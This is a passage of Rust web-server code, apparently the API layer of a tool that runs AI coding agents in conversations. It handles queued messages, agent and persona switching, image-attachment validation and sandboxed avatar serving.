7063 Err(JsonRejection::MissingJsonContentType(_)) => NewTalk::default(),
7064 Err(e) => return Err(ApiError::bad_request(e.body_text())),
7065 };
7066 let repo = body.repo.clone().unwrap_or_else(|| ui.repo.clone());
7067 let cfg = config_for(&repo).await?;
7068 let view = blocking(move || {
7069 let preferred = talk::Preferred {
7070 agent: body
7071 .preferred_agent
7072 .as_ref()
7073 .and_then(|v| v.as_str())
7074 .map(str::to_owned),
7075 persona: body
7076 .persona
7077 .as_ref()
7078 .and_then(|v| v.as_str())
7079 .map(str::to_owned),
7080 implementers: body.implementers.as_ref().and_then(|v| v.as_i64()),
7081 };
7082 let talk = talk::begin_with(&ui.talks, &cfg, repo, body.agent.as_deref(), &preferred)?;
7083 let thinking = ui.is_thinking(&talk.id);
7084 Ok(TalkView::new(talk, thinking))
7085 })
7086 .await?;
7087 Ok((StatusCode::CREATED, Json(view)))
7088}
7089
7090async fn talk_detail(
7092 State(ui): State<Arc<Ui>>,
7093 Path(id): Path<String>,
7094) -> ApiResult<Json<TalkDetailView>> {
7095 blocking(move || {
7096 let id = resolve_talk(&ui.talks, &id)?;
7097 let talk = ui.talks.get(&id)?;
7098 let thinking = ui.is_thinking(&talk.id);
7099 let tasks = talk::tasks_of(&ui.queue, &talk.id)
7100 .into_iter()
7101 .map(TaskView::from)
7102 .collect();
7103 let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
7104 let roster = cfg
7105 .as_ref()
7106 .map(|cfg| {
7107 cfg.agents
7108 .iter()
7109 .map(|a| RosterEntry {
7110 id: a.id.clone(),
7111 kind: a.kind,
7112 runnable: agent::installed(a),
7113 })
7114 .collect()
7115 })
7116 .unwrap_or_default();
7117 let specs = cfg
7118 .as_ref()
7119 .map(|cfg| cfg.talk.personas.clone())
7120 .unwrap_or_default();
7121 let personas = persona::catalog(&specs)
7122 .into_iter()
7123 .map(|p| PersonaEntry {
7124 avatar: avatar_url(&talk.id, &p),
7125 id: p.id,
7126 name: p.name,
7127 })
7128 .collect();
7129 Ok(Json(TalkDetailView {
7130 view: TalkView::with_config(talk, thinking, cfg.as_ref()),
7131 tasks,
7132 roster,
7133 personas,
7134 }))
7135 })
7136 .await
7137}
7138
7139#[derive(Debug, Default, Deserialize)]
7145#[serde(default, deny_unknown_fields)]
7146struct NewTalkTurn {
7147 reply_to: Option<talk::ReplyTarget>,
7148 text: String,
7149 attachments: Vec<String>,
7150}
7151
7152#[derive(Debug, Deserialize)]
7153#[serde(deny_unknown_fields)]
7154struct EditTalkPending {
7155 #[serde(default)]
7156 message: Option<usize>,
7157 text: String,
7158 expected_text: String,
7159 expected_attachments: Vec<String>,
7160}
7161
7162#[derive(Debug, Deserialize)]
7163#[serde(deny_unknown_fields)]
7164struct ClearTalkPending {
7165 expected_text: String,
7166 expected_attachments: Vec<String>,
7167}
7168
7169async fn talk_say(
7181 State(ui): State<Arc<Ui>>,
7182 Path(id): Path<String>,
7183 body: std::result::Result<Json<NewTalkTurn>, JsonRejection>,
7184) -> ApiResult<(StatusCode, Json<TalkView>)> {
7185 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7186 if body.text.trim().is_empty() && body.attachments.is_empty() {
7187 return Err(ApiError::bad_request("say something"));
7188 }
7189
7190 let id = {
7191 let ui = Arc::clone(&ui);
7192 let asked = id.clone();
7193 blocking(move || resolve_talk(&ui.talks, &asked)).await?
7194 };
7195 {
7199 let ui = Arc::clone(&ui);
7200 let id = id.clone();
7201 blocking(move || {
7202 let talk = ui.talks.get(&id)?;
7203 if !talk.status.open() {
7204 return Err(ApiError::conflict(format!(
7205 "talk {} is {} and takes no more turns",
7206 talk.short(),
7207 talk.status.as_str()
7208 )));
7209 }
7210 Ok(())
7211 })
7212 .await?;
7213 }
7214
7215 let attachments = {
7220 let ui = Arc::clone(&ui);
7221 let id = id.clone();
7222 let ids = body.attachments.clone();
7223 blocking(move || {
7224 ids.into_iter()
7225 .map(|att_id| {
7226 ui.talks.attachment_meta(&id, &att_id)?.ok_or_else(|| {
7227 ApiError::bad_request(format!("unknown attachment `{att_id}`"))
7228 })
7229 })
7230 .collect::<ApiResult<Vec<talk::Attachment>>>()
7231 })
7232 .await?
7233 };
7234
7235 let start = {
7240 let ui = Arc::clone(&ui);
7241 let id = id.clone();
7242 blocking(move || ui.begin_talk_turn_unless_pending(&id)).await?
7243 };
7244 let turn_guard = match start {
7245 TalkTurnStart::Claimed(turn_guard) => turn_guard,
7246 TalkTurnStart::Pending => {
7247 return Err(ApiError::conflict(
7248 "a queued draft is waiting; resume it, edit it, or clear it before sending another message",
7249 ));
7250 }
7251 TalkTurnStart::Foreign => {
7252 return Err(ApiError::conflict(
7253 "a turn is already running in another process; try again when it has finished",
7254 ));
7255 }
7256 TalkTurnStart::Busy => {
7257 let (tx, rx) = tokio::sync::oneshot::channel();
7273 tokio::spawn({
7274 let ui = Arc::clone(&ui);
7275 let id = id.clone();
7276 let said = body.text.clone();
7277 let reply_to = body.reply_to.clone();
7278 async move {
7279 let written = blocking({
7280 let ui = Arc::clone(&ui);
7281 let id = id.clone();
7282 move || {
7283 let mut talk = ui.talks.get(&id)?;
7284 #[cfg(test)]
7289 if let Some(gate) = ui
7290 .busy_queue_gate
7291 .lock()
7292 .unwrap_or_else(PoisonError::into_inner)
7293 .take()
7294 {
7295 let _ = gate.reached.send(());
7296 let _ = gate.release.recv();
7297 }
7298 if let Err(error) = talk::queue_reply(
7299 &mut talk,
7300 &ui.talks,
7301 &said,
7302 attachments,
7303 reply_to,
7304 ) {
7305 if let Ok(fresh) = ui.talks.get(&id) {
7306 if !fresh.status.open() {
7307 return Err(ApiError::conflict(format!(
7308 "talk {} is {} and takes no more turns",
7309 fresh.short(),
7310 fresh.status.as_str()
7311 )));
7312 }
7313 }
7314 return Err(
7315 if error.to_string().contains("invalid reply target") {
7316 ApiError::bad_request("invalid reply target")
7317 } else {
7318 ApiError::from(error)
7319 },
7320 );
7321 }
7322 let claim = match ui.begin_queued_talk_turn(&id)? {
7333 Some(turn_guard) => {
7334 let (cfg, _) = Config::discover(&talk.repo, None)?;
7335 Some((talk.clone(), cfg, turn_guard))
7336 }
7337 None => None,
7338 };
7339 let thinking = ui.is_thinking(&id);
7340 Ok((TalkView::new(talk, thinking), claim))
7341 }
7342 })
7343 .await;
7344 let (view, reclaimed) = match written {
7345 Ok(pair) => pair,
7346 Err(e) => {
7347 let _ = tx.send(Err(e));
7352 return;
7353 }
7354 };
7355 let _ = tx.send(Ok(view));
7358 if let Some((talk, cfg, turn_guard)) = reclaimed {
7359 let talks = ui.talks.clone();
7360 drain_loop(talk, talks, cfg, id, turn_guard).await;
7361 }
7362 }
7363 });
7364 let view = rx
7365 .await
7366 .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
7367 return Ok((StatusCode::ACCEPTED, Json(view)));
7368 }
7369 };
7370
7371 let (talk, cfg) = {
7372 let ui = Arc::clone(&ui);
7373 let id = id.clone();
7374 blocking(move || {
7375 let talk = ui.talks.get(&id)?;
7376 let (cfg, _) = Config::discover(&talk.repo, None)?;
7377 Ok((talk, cfg))
7378 })
7379 .await?
7380 };
7381
7382 let talks = ui.talks.clone();
7383 let (tx, rx) = tokio::sync::oneshot::channel();
7398 tokio::spawn({
7399 let ui = Arc::clone(&ui);
7400 let talks = talks.clone();
7401 let id = id.clone();
7402 let said = body.text.clone();
7403 let reply_to = body.reply_to.clone();
7404 let mut talk = talk.clone();
7405 async move {
7406 let recorded = blocking({
7407 let talks = talks.clone();
7408 move || {
7409 if let Err(error) =
7410 talk::record_reply(&mut talk, &talks, &said, attachments, reply_to)
7411 {
7412 if let Ok(fresh) = talks.get(&talk.id) {
7413 if !fresh.status.open() {
7414 return Err(ApiError::conflict(format!(
7415 "talk {} is {} and takes no more turns",
7416 fresh.short(),
7417 fresh.status.as_str()
7418 )));
7419 }
7420 }
7421 return Err(if error.to_string().contains("invalid reply target") {
7422 ApiError::bad_request("invalid reply target")
7423 } else {
7424 ApiError::from(error)
7425 });
7426 }
7427 Ok((said.trim().to_owned(), talk))
7433 }
7434 })
7435 .await;
7436 let (text, mut talk) = match recorded {
7437 Ok(pair) => pair,
7438 Err(e) => {
7439 let _ = tx.send(Err(e));
7443 return;
7444 }
7445 };
7446 let queued = talk.clone();
7447 let thinking = ui.is_thinking(&id);
7448 let _ = tx.send(Ok((queued, thinking)));
7451
7452 if let Err(e) = turn_guard.respond(&mut talk, &talks, &cfg, &text).await {
7453 tracing::warn!("talk {id} turn failed: {e:#}");
7457 }
7458 drain_loop(talk, talks, cfg, id, turn_guard).await;
7461 }
7462 });
7463
7464 let (queued, thinking) = rx
7465 .await
7466 .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
7467
7468 Ok((StatusCode::ACCEPTED, Json(TalkView::new(queued, thinking))))
7470}
7471
7472async fn talk_pending_resume(
7476 State(ui): State<Arc<Ui>>,
7477 Path(id): Path<String>,
7478) -> ApiResult<(StatusCode, Json<TalkView>)> {
7479 let id = {
7480 let ui = Arc::clone(&ui);
7481 let asked = id.clone();
7482 blocking(move || resolve_talk(&ui.talks, &asked)).await?
7483 };
7484 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
7485 return Err(ApiError::conflict(
7486 "a talk turn is already running; the queued draft will be handled by it",
7487 ));
7488 };
7489 let (talk, cfg) = {
7490 let ui = Arc::clone(&ui);
7491 let id = id.clone();
7492 blocking(move || {
7493 let talk = ui.talks.get(&id)?;
7494 if !talk.status.open() {
7495 return Err(ApiError::conflict(format!(
7496 "talk {} is {} and takes no more turns",
7497 talk.short(),
7498 talk.status.as_str()
7499 )));
7500 }
7501 if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
7502 return Err(ApiError::conflict("there is no queued draft to resume"));
7503 }
7504 let (cfg, _) = Config::discover(&talk.repo, None)?;
7505 Ok((talk, cfg))
7506 })
7507 .await?
7508 };
7509 let view = TalkView::new(talk.clone(), true);
7510 let talks = ui.talks.clone();
7511 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
7512 Ok((StatusCode::ACCEPTED, Json(view)))
7513}
7514
7515async fn drain_loop(talk: Talk, talks: Talks, cfg: Config, id: String, turn: TalkTurnGuard) {
7531 drain_loop_started(talk, talks, cfg, id, turn, None).await;
7532}
7533
7534async fn settle_settings_turn(
7538 talk: Talk,
7539 talks: Talks,
7540 cfg: Config,
7541 id: String,
7542 turn: TalkTurnGuard,
7543 observed: u64,
7544) -> bool {
7545 if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
7546 let turns = Arc::clone(&turn.turns);
7547 let mut live = turns.lock().unwrap_or_else(PoisonError::into_inner);
7548 if live.queued.get(&id).copied().unwrap_or(0) == observed {
7549 turn.release(&mut live);
7551 return false;
7552 }
7553 }
7554 let (started, settled) = tokio::sync::oneshot::channel();
7555 tokio::spawn(drain_loop_started(
7556 talk,
7557 talks,
7558 cfg,
7559 id,
7560 turn,
7561 Some(started),
7562 ));
7563 settled.await.unwrap_or(false)
7564}
7565
7566async fn drain_loop_started(
7567 mut talk: Talk,
7568 talks: Talks,
7569 cfg: Config,
7570 id: String,
7571 turn: TalkTurnGuard,
7572 mut started: Option<tokio::sync::oneshot::Sender<bool>>,
7573) {
7574 let live_set = Arc::clone(&turn.turns);
7575 let mut turn = Some(turn);
7583 loop {
7584 if !turn.as_ref().is_some_and(TalkTurnGuard::owns) {
7585 tracing::warn!("talk {id} lost its turn lease; not draining further");
7588 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
7589 if let Some(turn) = turn.take() {
7590 turn.release(&mut live);
7591 }
7592 break;
7593 }
7594 {
7595 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
7598 if live.parking {
7599 if let Some(turn) = turn.take() {
7600 turn.release(&mut live);
7601 }
7602 break;
7603 }
7604 }
7605 let observed = live_set
7609 .lock()
7610 .unwrap_or_else(PoisonError::into_inner)
7611 .queued
7612 .get(&id)
7613 .copied()
7614 .unwrap_or(0);
7615 let drained = blocking({
7616 let talks = talks.clone();
7617 let live_set = Arc::clone(&live_set);
7618 move || {
7619 let live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
7624 let result = if live.parking {
7625 Ok(None)
7626 } else {
7627 talk::drain(&mut talk, &talks)
7628 };
7629 drop(live);
7630 Ok((talk, result))
7631 }
7632 })
7633 .await;
7634 let (next_talk, result) = match drained {
7635 Ok(drained) => drained,
7636 Err(e) => {
7637 tracing::warn!(
7638 status = %e.status,
7639 message = %e.message,
7640 "talk {id} could not start queued-text drain"
7641 );
7642 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
7643 turn.take()
7644 .expect("held for the whole loop until released here")
7645 .release(&mut live);
7646 break;
7647 }
7648 };
7649 talk = next_talk;
7650 let drained = match result {
7651 Ok(Some(drained)) => drained,
7652 Ok(None) => {
7653 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
7654 if live.queued.get(&id).copied().unwrap_or(0) != observed {
7655 continue;
7656 }
7657 turn.take()
7658 .expect("held for the whole loop until released here")
7659 .release(&mut live);
7660 break;
7661 }
7662 Err(e) => {
7663 tracing::warn!("talk {id} could not drain queued text: {e:#}");
7664 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
7665 turn.take()
7666 .expect("held for the whole loop until released here")
7667 .release(&mut live);
7668 break;
7669 }
7670 };
7671 if let Some(started) = started.take() {
7672 let _ = started.send(true);
7673 }
7674 let responded = match turn.as_ref() {
7675 Some(turn) => turn.respond(&mut talk, &talks, &cfg, &drained).await,
7676 None => Err(anyhow::anyhow!("the turn guard was released")),
7677 };
7678 if let Err(e) = responded {
7679 tracing::warn!("talk {id} turn failed: {e:#}");
7680 }
7681 }
7682 drop(turn);
7683 if let Some(started) = started {
7684 let _ = started.send(false);
7685 }
7686}
7687
7688async fn talk_pending_clear(
7690 State(ui): State<Arc<Ui>>,
7691 Path(id): Path<String>,
7692 body: std::result::Result<Json<ClearTalkPending>, JsonRejection>,
7693) -> ApiResult<Json<TalkView>> {
7694 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7695 blocking(move || {
7696 let id = resolve_talk(&ui.talks, &id)?;
7697 let mut talk = ui.talks.get(&id)?;
7698 if !talk.status.open() {
7699 return Err(ApiError::conflict(format!(
7700 "talk {} is {} and takes no more turns",
7701 talk.short(),
7702 talk.status.as_str()
7703 )));
7704 }
7705 if !talk::clear_pending_if_matches(
7706 &mut talk,
7707 &ui.talks,
7708 &body.expected_text,
7709 &body.expected_attachments,
7710 )? {
7711 return Err(ApiError::conflict(
7712 "queued message changed; reload it before clearing",
7713 ));
7714 }
7715 let thinking = ui.is_thinking(&talk.id);
7716 Ok(Json(TalkView::new(talk, thinking)))
7717 })
7718 .await
7719}
7720
7721async fn talk_pending_edit(
7725 State(ui): State<Arc<Ui>>,
7726 Path(id): Path<String>,
7727 body: std::result::Result<Json<EditTalkPending>, JsonRejection>,
7728) -> ApiResult<Json<TalkView>> {
7729 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7730 let (view, reclaimed) = blocking({
7731 let ui = Arc::clone(&ui);
7732 move || {
7733 let id = resolve_talk(&ui.talks, &id)?;
7734 let mut talk = ui.talks.get(&id)?;
7735 if !talk.status.open() {
7736 return Err(ApiError::conflict(format!(
7737 "talk {} is {} and takes no more turns",
7738 talk.short(),
7739 talk.status.as_str()
7740 )));
7741 }
7742 if !talk::edit_pending_message(
7743 &mut talk,
7744 &ui.talks,
7745 &body.text,
7746 &body.expected_text,
7747 &body.expected_attachments,
7748 body.message,
7749 )? {
7750 return Err(ApiError::conflict(
7751 "queued message changed; reload it before editing",
7752 ));
7753 }
7754 let claim = match ui.begin_queued_talk_turn(&id)? {
7755 Some(turn_guard) => {
7756 let (cfg, _) = Config::discover(&talk.repo, None)?;
7757 Some((talk.clone(), cfg, id.clone(), turn_guard))
7758 }
7759 None => None,
7760 };
7761 let thinking = ui.is_thinking(&id);
7762 Ok((TalkView::new(talk, thinking), claim))
7763 }
7764 })
7765 .await?;
7766 if let Some((talk, cfg, id, turn_guard)) = reclaimed {
7767 let talks = ui.talks.clone();
7768 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
7769 }
7770 Ok(Json(view))
7771}
7772
7773fn refuse_if_closed(talk: &Talk) -> ApiResult<()> {
7775 if talk.status.open() {
7776 return Ok(());
7777 }
7778 Err(ApiError::conflict(format!(
7779 "talk {} is {} and takes no more turns",
7780 talk.short(),
7781 talk.status.as_str()
7782 )))
7783}
7784
7785#[derive(Debug, Deserialize)]
7787struct TalkAgent {
7788 agent: String,
7789}
7790
7791async fn talk_agent(
7796 State(ui): State<Arc<Ui>>,
7797 Path(id): Path<String>,
7798 Json(body): Json<TalkAgent>,
7799) -> ApiResult<Json<TalkView>> {
7800 let id = {
7801 let ui = Arc::clone(&ui);
7802 blocking(move || resolve_talk(&ui.talks, &id)).await?
7803 };
7804 let repo = {
7805 let ui = Arc::clone(&ui);
7806 let id = id.clone();
7807 blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
7808 };
7809 let cfg = config_for(&repo).await?;
7810 {
7812 let ui = Arc::clone(&ui);
7813 let id = id.clone();
7814 let cfg = cfg.clone();
7815 let wanted = body.agent.clone();
7816 blocking(move || {
7817 agent::pick(&cfg.agents, Some(&wanted), &agent::installed)
7818 .map_err(ApiError::bad_request_from)?;
7819 refuse_if_closed(&ui.talks.get(&id)?)
7820 })
7821 .await?;
7822 }
7823 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
7824 return Err(ApiError::conflict(
7825 "a talk turn is running; change the agent once it has answered",
7826 ));
7827 };
7828 let switched = {
7829 let ui = Arc::clone(&ui);
7830 let id = id.clone();
7831 let cfg = cfg.clone();
7832 blocking(move || {
7833 let spec = agent::pick(&cfg.agents, Some(&body.agent), &agent::installed)
7834 .map_err(ApiError::bad_request_from)?;
7835 let mut talk = ui.talks.get(&id)?;
7836 if !talk.status.open() {
7837 return Err(ApiError::conflict(format!(
7838 "talk {} is {} and takes no more turns",
7839 talk.short(),
7840 talk.status.as_str()
7841 )));
7842 }
7843 talk::switch_agent(&mut talk, &ui.talks, &spec)?;
7844 Ok(talk)
7845 })
7846 .await
7847 };
7848 let observed = ui.queued_generation(&id);
7853 let fresh = {
7854 let ui = Arc::clone(&ui);
7855 let id = id.clone();
7856 blocking(move || Ok(ui.talks.get(&id)?)).await
7857 };
7858 let draining = match fresh {
7859 Ok(talk) => {
7860 settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
7861 }
7862 Err(_) => false,
7863 };
7864 let talk = switched?;
7865 Ok(Json(TalkView::new(talk, draining)))
7866}
7867
7868#[derive(Debug, Deserialize)]
7870struct TalkPersona {
7871 persona: String,
7872}
7873
7874async fn talk_persona(
7878 State(ui): State<Arc<Ui>>,
7879 Path(id): Path<String>,
7880 Json(body): Json<TalkPersona>,
7881) -> ApiResult<Json<TalkView>> {
7882 let id = {
7883 let ui = Arc::clone(&ui);
7884 blocking(move || resolve_talk(&ui.talks, &id)).await?
7885 };
7886 let repo = {
7887 let ui = Arc::clone(&ui);
7888 let id = id.clone();
7889 blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
7890 };
7891 let cfg = config_for(&repo).await?;
7892 {
7894 let ui = Arc::clone(&ui);
7895 let id = id.clone();
7896 let cfg = cfg.clone();
7897 let wanted = body.persona.clone();
7898 blocking(move || {
7899 if persona::find(&cfg.talk.personas, &wanted).is_none() {
7900 return Err(ApiError::bad_request(format!("unknown persona `{wanted}`")));
7901 }
7902 refuse_if_closed(&ui.talks.get(&id)?)
7903 })
7904 .await?;
7905 }
7906 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
7907 return Err(ApiError::conflict(
7908 "a talk turn is running; change the persona once it has answered",
7909 ));
7910 };
7911 let switched = {
7912 let ui = Arc::clone(&ui);
7913 let id = id.clone();
7914 let cfg = cfg.clone();
7915 blocking(move || {
7916 let Some(chosen) = persona::find(&cfg.talk.personas, &body.persona) else {
7917 return Err(ApiError::bad_request(format!(
7918 "unknown persona `{}`",
7919 body.persona
7920 )));
7921 };
7922 let mut talk = ui.talks.get(&id)?;
7923 if !talk.status.open() {
7924 return Err(ApiError::conflict(format!(
7925 "talk {} is {} and takes no more turns",
7926 talk.short(),
7927 talk.status.as_str()
7928 )));
7929 }
7930 talk::switch_persona(&mut talk, &ui.talks, &chosen.id)?;
7931 Ok(talk)
7932 })
7933 .await
7934 };
7935 let observed = ui.queued_generation(&id);
7937 let fresh = {
7938 let ui = Arc::clone(&ui);
7939 let id = id.clone();
7940 blocking(move || Ok(ui.talks.get(&id)?)).await
7941 };
7942 let draining = match fresh {
7943 Ok(talk) => {
7944 settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
7945 }
7946 Err(_) => false,
7947 };
7948 let talk = switched?;
7949 Ok(Json(TalkView::new(talk, draining)))
7950}
7951
7952#[derive(Debug, Deserialize)]
7954struct TalkImplementers {
7955 implementers: u8,
7956}
7957
7958async fn talk_implementers(
7962 State(ui): State<Arc<Ui>>,
7963 Path(id): Path<String>,
7964 Json(body): Json<TalkImplementers>,
7965) -> ApiResult<Json<TalkView>> {
7966 let id = {
7967 let ui = Arc::clone(&ui);
7968 blocking(move || resolve_talk(&ui.talks, &id)).await?
7969 };
7970 let repo = {
7971 let ui = Arc::clone(&ui);
7972 let id = id.clone();
7973 blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
7974 };
7975 let cfg = config_for(&repo).await?;
7976 {
7981 let ui = Arc::clone(&ui);
7982 let id = id.clone();
7983 let cfg = cfg.clone();
7984 let wanted = body.implementers;
7985 blocking(move || {
7986 talk::check_implementers(wanted, &cfg).map_err(ApiError::bad_request)?;
7987 refuse_if_closed(&ui.talks.get(&id)?)
7988 })
7989 .await?;
7990 }
7991 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
7992 return Err(ApiError::conflict(
7993 "a talk turn is running; change the implementers once it has answered",
7994 ));
7995 };
7996 let switched = {
7997 let ui = Arc::clone(&ui);
7998 let id = id.clone();
7999 let cfg = cfg.clone();
8000 blocking(move || {
8001 let chosen =
8002 talk::check_implementers(body.implementers, &cfg).map_err(ApiError::bad_request)?;
8003 let mut talk = ui.talks.get(&id)?;
8004 if !talk.status.open() {
8005 return Err(ApiError::conflict(format!(
8006 "talk {} is {} and takes no more turns",
8007 talk.short(),
8008 talk.status.as_str()
8009 )));
8010 }
8011 talk::switch_implementers(&mut talk, &ui.talks, chosen)?;
8012 Ok(talk)
8013 })
8014 .await
8015 };
8016 let observed = ui.queued_generation(&id);
8018 let fresh = {
8019 let ui = Arc::clone(&ui);
8020 let id = id.clone();
8021 blocking(move || Ok(ui.talks.get(&id)?)).await
8022 };
8023 let draining = match fresh {
8024 Ok(talk) => {
8025 settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
8026 }
8027 Err(_) => false,
8028 };
8029 let talk = switched?;
8030 Ok(Json(TalkView::new(talk, draining)))
8031}
8032
8033async fn talk_close(
8035 State(ui): State<Arc<Ui>>,
8036 Path(id): Path<String>,
8037) -> ApiResult<Json<TalkView>> {
8038 blocking(move || {
8039 let id = resolve_talk(&ui.talks, &id)?;
8040 let mut talk = ui.talks.get(&id)?;
8041 talk::close(&mut talk, &ui.talks)?;
8042 let thinking = ui.is_thinking(&talk.id);
8043 Ok(Json(TalkView::new(talk, thinking)))
8044 })
8045 .await
8046}
8047
8048async fn talk_reopen(
8050 State(ui): State<Arc<Ui>>,
8051 Path(id): Path<String>,
8052) -> ApiResult<Json<TalkView>> {
8053 blocking(move || {
8054 let id = resolve_talk(&ui.talks, &id)?;
8055 let mut talk = ui.talks.get(&id)?;
8056 talk::reopen(&mut talk, &ui.talks)?;
8057 let thinking = ui.is_thinking(&talk.id);
8058 Ok(Json(TalkView::new(talk, thinking)))
8059 })
8060 .await
8061}
8062
8063async fn talk_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
8073 blocking(move || {
8074 let id = resolve_talk(&ui.talks, &id)?;
8075 ui.talks.remove(&id)?;
8076 Ok(StatusCode::NO_CONTENT)
8077 })
8078 .await
8079}
8080
8081fn resolve_talk(store: &Talks, id: &str) -> ApiResult<String> {
8083 pick(store.list().into_iter().map(|t| t.id).collect(), id, "talk")
8084}
8085
8086async fn talk_attachment_post(
8089 State(ui): State<Arc<Ui>>,
8090 Path(id): Path<String>,
8091 headers: HeaderMap,
8092 body: Bytes,
8093) -> ApiResult<(StatusCode, Json<talk::Attachment>)> {
8094 let mime = validate_attachment(&headers, &body)?;
8095 let name = filename_header(&headers);
8096 let data = body.to_vec();
8097 blocking(move || {
8098 let id = resolve_talk(&ui.talks, &id)?;
8099 let att = ui.talks.put_attachment(&id, mime, &name, &data)?;
8100 Ok((StatusCode::CREATED, Json(att)))
8101 })
8102 .await
8103}
8104
8105async fn talk_attachment_get(
8108 State(ui): State<Arc<Ui>>,
8109 Path((id, att)): Path<(String, String)>,
8110) -> ApiResult<Response> {
8111 blocking(move || {
8112 let id = resolve_talk(&ui.talks, &id)?;
8113 let Some((meta, data)) = ui.talks.read_attachment(&id, &att)? else {
8114 return Err(ApiError::not_found(format!(
8115 "talk {id} has no attachment `{att}`"
8116 )));
8117 };
8118 Ok(attachment_response(&meta.mime, data))
8119 })
8120 .await
8121}
8122
8123fn avatar_url(talk_id: &str, p: &persona::Persona) -> String {
8126 let mut id = String::new();
8127 for b in p.id.bytes() {
8128 if b.is_ascii_alphanumeric() || b"-_.".contains(&b) {
8129 id.push(char::from(b));
8130 } else {
8131 id.push_str(&format!("%{b:02X}"));
8132 }
8133 }
8134 format!(
8135 "/api/talks/{talk_id}/avatar?persona={id}&v={}",
8136 persona_icon::fingerprint(p.icon.as_deref())
8137 )
8138}
8139
8140#[derive(Debug, Default, Deserialize)]
8141struct AvatarQuery {
8142 persona: Option<String>,
8143 builtin: Option<String>,
8145}
8146
8147const AVATAR_CSP: &str = "default-src 'none'; style-src 'unsafe-inline'; sandbox";
8149
8150fn builtin_avatar(id: &str) -> Response {
8151 svg_avatar(persona_icon::builtin_svg(id))
8152}
8153
8154async fn operator_avatar() -> Response {
8155 svg_avatar(persona_icon::operator_svg())
8156}
8157
8158fn svg_avatar(svg: &'static str) -> Response {
8159 (
8160 [
8161 (header::CONTENT_TYPE, "image/svg+xml"),
8162 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
8163 (header::CONTENT_SECURITY_POLICY, AVATAR_CSP),
8164 (header::CACHE_CONTROL, "no-cache"),
8165 ],
8166 svg,
8167 )
8168 .into_response()
8169}
8170
8171async fn talk_avatar(
8176 State(ui): State<Arc<Ui>>,
8177 Path(id): Path<String>,
8178 Query(q): Query<AvatarQuery>,
8179) -> ApiResult<Response> {
8180 blocking(move || {
8181 let id = resolve_talk(&ui.talks, &id)?;
8182 let talk = ui.talks.get(&id)?;
8183 let wanted = q
8184 .persona
8185 .as_deref()
8186 .map(str::trim)
8187 .filter(|p| !p.is_empty())
8188 .unwrap_or(&talk.persona)
8189 .to_owned();
8190 let specs = match Config::discover(&talk.repo, None) {
8191 Ok((cfg, _)) => cfg.talk.personas,
8192 Err(e) => {
8193 tracing::warn!("avatar: cannot read the config for talk {id}: {e:#}");
8194 Vec::new()
8195 }
8196 };
8197 let Some(found) = persona::find(&specs, &wanted) else {
8198 return Ok(builtin_avatar(persona::DEFAULT_ID));
8199 };
8200 let Some(icon) = found.icon.as_deref().filter(|_| q.builtin.is_none()) else {
8201 return Ok(builtin_avatar(&found.id));
8202 };
8203 match persona_icon::load(icon) {
8204 Ok((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
8205 let mut res = attachment_response(mime, bytes);
8206 res.headers_mut().insert(
8207 header::CACHE_CONTROL,
8208 header::HeaderValue::from_static("no-cache"),
8209 );
8210 Ok(res)
8211 }
8212 Ok((mime, _)) => {
8213 tracing::warn!(
8214 "avatar: icon of persona `{}` is not really {mime}; using the built-in",
8215 found.id
8216 );
8217 Ok(builtin_avatar(&found.id))
8218 }
8219 Err(e) => {
8220 tracing::warn!(
8221 "avatar: icon of persona `{}` unusable ({e:#}); using the built-in",
8222 found.id
8223 );
8224 Ok(builtin_avatar(&found.id))
8225 }
8226 }
8227 })
8228 .await
8229}
8230
8231fn validate_attachment(headers: &HeaderMap, data: &[u8]) -> ApiResult<&'static str> {
8242 if data.len() > ATTACHMENT_MAX_BYTES {
8243 return Err(ApiError::bad_request(format!(
8244 "attachment is {} bytes, over the {} MiB limit",
8245 data.len(),
8246 ATTACHMENT_MAX_BYTES / (1024 * 1024)
8247 ))
8248 .with_status(StatusCode::PAYLOAD_TOO_LARGE));
8249 }
8250 if data.is_empty() {
8251 return Err(ApiError::bad_request("attachment is empty"));
8252 }
8253 let declared = declared_mime(headers)?;
8254 match sniffed_mime(data) {
8255 Some(sniffed) if sniffed == declared => Ok(declared),
8256 Some(sniffed) => Err(ApiError::bad_request(format!(
8257 "Content-Type said `{declared}` but the file's own bytes look like `{sniffed}`"
8258 ))),
8259 None => Err(ApiError::bad_request(
8260 "the file's bytes do not match any accepted image format",
8261 )),
8262 }
8263}
8264
8265fn declared_mime(headers: &HeaderMap) -> ApiResult<&'static str> {
8269 let raw = headers
8270 .get(header::CONTENT_TYPE)
8271 .and_then(|v| v.to_str().ok())
8272 .unwrap_or("")
8273 .split(';')
8274 .next()
8275 .unwrap_or("")
8276 .trim()
8277 .to_ascii_lowercase();
8278 ATTACHMENT_MIME_WHITELIST
8279 .iter()
8280 .find(|&&m| m == raw)
8281 .copied()
8282 .ok_or_else(|| {
